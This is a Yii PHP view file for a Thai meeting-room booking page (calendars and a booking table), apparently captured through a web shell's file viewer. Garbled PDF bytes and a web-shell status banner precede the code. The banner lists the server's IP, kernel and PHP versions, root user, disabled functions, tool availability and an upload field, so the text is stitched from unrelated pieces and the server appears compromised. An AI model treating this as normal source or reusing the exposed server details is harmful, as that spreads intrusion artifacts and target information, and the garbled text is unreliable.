%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.26 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/eoffice/frontend/modules/bookingdata/views/default/ |
Upload File : |
<?php
use yii\helpers\Html;
use yii\helpers\Url;
use kartik\grid\GridView;
use backend\modules\bookingdata\models\BookingRoom;
use yii\helpers\ArrayHelper;
use backend\modules\departments\models\Departments;
use kartik\widgets\ActiveForm;
use yii\widgets\Pjax;
$backend = Yii::getAlias('@back');
$this->title = 'ห้องประชุม';
?>
<?php
$JSEventMouseover = <<<EOF
function(event, jsEvent, element) {
$(this).popover({
placement: 'auto',
trigger: 'hover',
animation: false,
html: true,
title: event.nonstandard.room,
content: "<div style='text-align:center;font-weight: 700;font-size:150%;color:red;'>"+event.nonstandard.start+"</div>"+"<div style='text-align:center;font-weight: 700;font-size:130%;color:#35858B;'>"+event.title+"</div>",
container: 'body',
}).popover('toggle');
}
EOF;
$JSEventRender = <<<EOF
function(event, element) {
var onlineData = event.online;
var onlineText = "";
if (onlineData == 1){
onlineText = "<span class='badge badge-danger'>ONLINE</span> ";
}
element.find(".fc-list-item-time").css({"font-weight" : "700", "font-size" : "150%", "color" : "#D67D3E"});
element.find(".fc-list-item-marker").html("<span class='m-badge m-badge--wide' style='font-size:95%;border-radius: 0.25rem;letter-spacing: 0px;color:#fff;background-color: " + event.color + "'>" + event.nonstandard.room + "</span> ");
element.find(".fc-list-item-marker").css({"text-align" : "center"});
element.find(".fc-list-item-title").html(onlineText + "<span style='color:#696b75'>" + event.title + "</span> ");
}
EOF;
$JSEventRender2 = <<<EOF
function(event, element) {
element.find(".fc-title").html(event.dow);
}
EOF;
$JSViewRender1 = <<<EOF
function(view, element) {
setTimeout(function(){
var strDate = $.trim($("#booking_calendar1 .fc-center").find("h2").text());
var arrDate = strDate.split(" ");
var lengthArr = arrDate.length;
var newstrDate = "";
for(var i=0;i<lengthArr;i++){
if(lengthArr-1==i){
var yearBuddha=parseInt(arrDate[i])+543;
newstrDate+=yearBuddha;
}else{
newstrDate+=arrDate[i]+" ";
}
}
$("#booking_calendar1 .fc-center").find("h2").text(newstrDate);
},5);
}
EOF;
$JSViewRender2 = <<<EOF
function(view, element) {
setTimeout(function(){
var strDate = $.trim($("#booking_calendar2 .fc-center").find("h2").text());
var arrDate = strDate.split(" ");
var lengthArr = arrDate.length;
var newstrDate = "";
for(var i=0;i<lengthArr;i++){
if(lengthArr-1==i){
var yearBuddha=parseInt(arrDate[i])+543;
newstrDate+=yearBuddha;
}else{
newstrDate+=arrDate[i]+" ";
}
}
$("#booking_calendar2 .fc-center").find("h2").text(newstrDate);
$("#booking_calendar2 .fc-list-heading").find("span.fc-list-heading-alt").css({"color": "red", "border": "2px solid red"});
},5);
}
EOF;
?>
<div style="text-align: center;padding-top: 10px;padding-bottom: 10px;">
<?php
// echo Html::a('<i class="flaticon-add" style="padding-right:10px"></i> ขอใช้ห้องประชุม', '/bookingdata/default/form', [
// 'class' => 'btn btn-lg btn-danger m-btn m-btn--custom',
// // 'target' => '_blank',
// 'data-toggle' => 'tooltip',
// 'title' => 'ขอใช้ห้องประชุม',
// ]);
?>
</div>
<div class="alert m-alert--default" role="alert" style="text-align: center;">
<span style="font-size:40px;font-weight: 600;color:red">จอง/ยกเลิกการจอง/แก้ไข กรุณาติดต่อ
</br>เบอร์โทรศัพท์ภายใน 330</span>
</div>
<div class="m-divider">
<span></span>
<h3 class="bg-light m--padding-20"><?= Html::encode($this->title) ?></h3>
<span></span>
</div>
<?php Pjax::begin(['id' => 'PjaxBooking']); ?>
<?php echo Html::beginForm(['default/index'], 'post', ['id' => 'formBooking', 'data-pjax' => 'true']); ?>
<div class="m-divider m--padding-bottom-20">
<span></span>
<?=
Html::dropDownList('calendarid', $calendarid, ArrayHelper::map(BookingRoom::find()->where(['departments' => 1])->all(), 'id', 'name'), [
'prompt' => 'ห้องประชุมทั้งหมด',
'onchange' => '$("#formBooking").submit()'
])
?>
<span></span>
</div>
<div class="row">
<div class="col-md-6">
<div class="m-portlet" id="m_portlet1">
<div class="m-portlet__head">
<div class="m-portlet__head-caption">
<div class="m-portlet__head-title">
<span class="m-portlet__head-icon">
<i class="flaticon-calendar"></i>
</span>
<h3 class="m-portlet__head-text">
ปฏิทินการใช้ห้องประชุม
</h3>
</div>
</div>
</div>
<?= Html::endForm() ?>
<div class="m-portlet__body" id="calendar-booking">
<?php
echo edofre\fullcalendar\Fullcalendar::widget([
'options' => [
'id' => 'booking_calendar1',
'language' => 'th',
'class' => 'fc fc-unthemed fc-ltr',
],
'header' => [
'left' => 'prev,next',
'right' => 'title',
'center' => '',
],
'clientOptions' => [
'contentHeight' => 'auto',
'defaultView' => 'month',
'eventMouseover' => new \yii\web\JsExpression($JSEventMouseover),
'eventRender' => new \yii\web\JsExpression($JSEventRender2),
// 'viewRender' => new \yii\web\JsExpression($JSViewRender1),
],
'events' => Url::to(['default/jsoncalendar', 'id' => $calendarid]),
'theme' => true,
// 'themeSystem' => 'bootstrap',
]);
?>
</div>
</div>
</div>
<div class="col-md-6">
<div class="m-portlet" id="m_portlet2">
<div class="m-portlet__head">
<div class="m-portlet__head-caption">
<div class="m-portlet__head-title">
<span class="m-portlet__head-icon">
<i class="flaticon-calendar"></i>
</span>
<h3 class="m-portlet__head-text">
ตารางการใช้ห้องประชุมประจำสัปดาห์
</h3>
</div>
</div>
</div>
<div class="m-portlet__body" style="height: auto;">
<?php
echo edofre\fullcalendar\Fullcalendar::widget([
'options' => [
'id' => 'booking_calendar2',
'language' => 'th',
'class' => 'fc fc-unthemed fc-ltr',
],
'header' => [
'left' => 'prev,next',
'right' => 'title',
'center' => '',
],
'clientOptions' => [
'defaultView' => 'listWeek',
// 'eventMouseover' => new \yii\web\JsExpression($JSEventMouseover),
'eventRender' => new \yii\web\JsExpression($JSEventRender),
'viewRender' => new \yii\web\JsExpression($JSViewRender2),
],
'events' => Url::to(['default/jsoncalendar', 'id' => $calendarid]),
'theme' => true,
// 'themeSystem' => 'bootstrap',
]);
?>
</div>
</div>
</div>
</div>
<?php Pjax::end(); ?>
<div class="row">
<div class="col-md-12">
<div class="m-portlet">
<div class="m-portlet__head">
<div class="m-portlet__head-caption">
<div class="m-portlet__head-title">
<span class="m-portlet__head-icon">
<i class="flaticon-calendar"></i>
</span>
<h3 class="m-portlet__head-text">
ตารางการใช้ห้องประชุม
</h3>
</div>
</div>
</div>
<div class="m-portlet__body">
<?php
$gridColumns = [
// [
// 'class' => 'kartik\grid\SerialColumn',
// 'contentOptions' => ['class' => 'kartik-sheet-style'],
// 'width' => '36px',
// 'header' => '',
// 'headerOptions' => ['class' => 'kartik-sheet-style']
// ],
[
'attribute' => 'id',
'label' => 'ID',
'hAlign' => 'center',
'width' => '1%',
'vAlign' => 'middle',
'format' => 'html',
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
return [
'style' => 'font-weight:50;cursor:pointer;',
'id' => $model['id'],
'onclick' => 'window.location.href = "/bookingdata/booking-data/update?id="+(this.id)',
];
},
'value' => function ($model) {
return '<span class="badge badge-pill badge-info ml-2">' . $model->id . '</span>';
},
],
[
'attribute' => 'created_at',
'label' => 'วันที่',
'hAlign' => 'center',
'width' => '10%',
'vAlign' => 'middle',
'xlFormat' => "mmm\\-dd\\, \\-yyyy",
'format' => 'html',
'filterType' => GridView::FILTER_DATE,
'filterWidgetOptions' => (
[
'model' => $searchModel,
'type' => 2,
'language' => 'th',
'attribute' => 'created_at',
'convertFormat' => true,
'pluginOptions' => [
'autoclose' => true,
'format' => 'yyyy-MM-dd',
'todayHighlight' => true,
],
]
),
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
$value = BookingRoom::find()->where(['id' => $model->booking_room_id])->one();
return [
'style' => 'font-weight: bold;text-align: left;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;color:#D2691E',
'name' => 'modal-circular-view-button',
'id' => $model['id'],
'onclick' => 'window.location.href = "/bookingdata/default/view?id="+(this.id)',
];
},
'value' => function ($model) {
return Yii::$app->formatter->asDate($model->created_at, 'long');
},
],
[
'attribute' => 'booking_room_id',
'filter' => ArrayHelper::map(BookingRoom::find()->where(['departments' => 1])->all(), 'id', 'name'),
'filterInputOptions' => [
'class' => 'form-control',
'prompt' => 'ทั้งหมด'
],
'value' => function ($model) {
$value = BookingRoom::find()->where(['id' => $model->booking_room_id])->one();
return "<span class='m-badge m-badge--wide booking-table' style='font-size:120%;color:#fff;background-color: {$value->color};'> {$value->name} </span>";
},
'width' => '15%',
'format' => 'html',
'vAlign' => 'middle',
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
return [
'style' => 'text-align: center;cursor:pointer;font-weight: bold;',
'name' => 'bookingdataButton',
'id' => $model['id'],
// 'value' => Url::to('/bookingdata/default/view?id=' . $model->id)
'onclick' => 'window.location.href = "/bookingdata/default/view?id="+(this.id)',
];
},
],
[
'attribute' => 'booking_subject',
'vAlign' => 'middle',
'format' => 'html',
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
$value = BookingRoom::find()->where(['id' => $model->booking_room_id])->one();
return [
'style' => 'text-align: left;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;color:#1E90FF',
'name' => 'bookingdataButton',
'id' => $model['id'],
// 'value' => Url::to('/bookingdata/booking-data/update?id=' . $model->id)
'onclick' => 'window.location.href = "/bookingdata/default/view?id="+(this.id)',
];
},
'value' => function ($model) {
if ($model->online == 1) {
return '<span class="badge badge-danger">ONLINE</span> ' . $model->booking_subject;
} else {
return $model->booking_subject;
}
},
],
[
'attribute' => 'booking_department',
'format' => 'html',
'filter' => ArrayHelper::map(Departments::find()->where(['NOT', ['id' => [12]]])->all(), 'id', 'name'),
'filterInputOptions' => [
'class' => 'form-control',
'prompt' => 'ทั้งหมด'
],
'vAlign' => 'middle',
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
$value = BookingRoom::find()->where(['id' => $model->booking_room_id])->one();
return [
'style' => 'font-size:120%;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;color:#D2691E',
'name' => 'bookingdataButton',
'id' => $model['id'],
// 'value' => Url::to('/bookingdata/booking-data/update?id=' . $model->id)
'onclick' => 'window.location.href = "/bookingdata/default/view?id="+(this.id)',
];
},
'value' => function ($model) {
$value = Departments::find()->where(['id' => $model->booking_department])->one();
return $value->name;
},
],
[
'attribute' => 'booking_date_start',
'format' => 'html',
'xlFormat' => "mmm\\-dd\\, \\-yyyy",
'filterType' => GridView::FILTER_DATE,
'filterWidgetOptions' => (
[
'model' => $searchModel,
'type' => 2,
'language' => 'th',
'attribute' => 'booking_date_start',
'convertFormat' => true,
'pluginOptions' => [
'autoclose' => true,
'format' => 'yyyy-MM-dd',
],
]
),
'vAlign' => 'middle',
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
return [
'style' => 'text-align: center;cursor:pointer',
'name' => 'bookingdataButton',
'id' => $model['id'],
// 'value' => Url::to('/bookingdata/booking-data/update?id=' . $model->id)
'onclick' => 'window.location.href = "/bookingdata/default/view?id="+(this.id)',
];
},
'value' => function ($model) {
if ($model->booking_date_start !== null) {
$date1 = Yii::$app->formatter->asDateTime($model->booking_date_start, 'php:d F Y');
$date2 = Yii::$app->formatter->asDateTime($model->booking_date_end, 'php:d F Y');
if ($date1 == $date2) {
$datetext = Yii::$app->formatter->asDateTime($model->booking_date_start, 'php:d F Y เวลา H:i - ') . Yii::$app->formatter->asDateTime($model->booking_date_end, 'php:H:i');
} else {
$datetext = Yii::$app->formatter->asDateTime($model->booking_date_start, 'php:d F Y เวลา H:i - ') . '<br>' . Yii::$app->formatter->asDateTime($model->booking_date_end, 'php:d F Y เวลา H:i');
}
return $datetext;
} else {
return 'ไม่ได้ระบุ';
}
},
],
[
'attribute' => 'status',
'vAlign' => 'middle',
'format' => 'html',
'filter' => array("0" => "รอการอนุมัติ", "1" => "อนุมัติ", "2" => "ไม่อนุมัติ"),
'filterInputOptions' => [
'class' => 'form-control',
'prompt' => 'ทั้งหมด'
],
'headerOptions' => ['class' => 'kv-sticky-column text-center'],
'contentOptions' => function ($model) {
return [
'style' => 'text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
'name' => 'bookingdataButton',
'id' => $model['id'],
// 'value' => Url::to('/bookingdata/booking-data/update?id=' . $model->id)
'onclick' => 'window.location.href = "/bookingdata/default/view?id="+(this.id)',
];
},
'value' => function ($model) {
if ($model->status == 0) {
return '<i class="m-menu__link-icon fa fa-spinner" style="color:#4FBDBA"></i> <span style="color:#4FBDBA">รอการอนุมัติ</span>';
}
if ($model->status == 1) {
return '<i class="m-menu__link-icon fa fa-check" style="color:blue"></i> <span style="color:blue">อนุมัติ</span>';
}
if ($model->status == 2) {
return '<i class="m-menu__link-icon fa fa-times" style="color:red"></i> <span style="color:red">ไม่อนุมัติ</span>';
}
},
],
];
?>
<?=
GridView::widget([
'id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,
'dataProvider' => $dataProvider,
'filterModel' => $searchModel,
'options' => [
'class' => 'm-datatable__table table table-bordered'
],
'filterRowOptions' => ['class' => 'kartik-sheet-style'],
'layout' => "{items}\n{pager}",
'showPageSummary' => false,
'panel' => [
'type' => GridView::TYPE_PRIMARY
],
'panelTemplate' => '
<div class="m_datatable m-datatable m-datatable--default m-datatable--loaded panel {type}">
{items}
<div class="m-datatable__pager m-datatable--paging-loaded clearfix">
{pager}
</div>
<div class="clearfix"></div>
</div>',
'pjax' => true,
'pjaxSettings' => [
'neverTimeout' => true,
'enablePushState' => true,
'options' => ['id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,],
],
'pager' => Yii::$app->params['pagerX'],
'toolbar' => [
'{export}',
'{toggleData}'
],
'export' => [
'label' => 'ดาว์โหลดเอกสาร',
'fontAwesome' => true,
'showConfirmAlert' => false,
'target' => \kartik\grid\GridView::TARGET_BLANK
],
'exportConfig' => [
\kartik\grid\GridView::EXCEL => false,
],
'responsive' => true,
'responsiveWrap' => false,
'hover' => true,
'headerRowOptions' => ['class' => 'header-table-center',],
'columns' => $gridColumns,
'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
]);
?>
</div>
</div>
</div>
</div>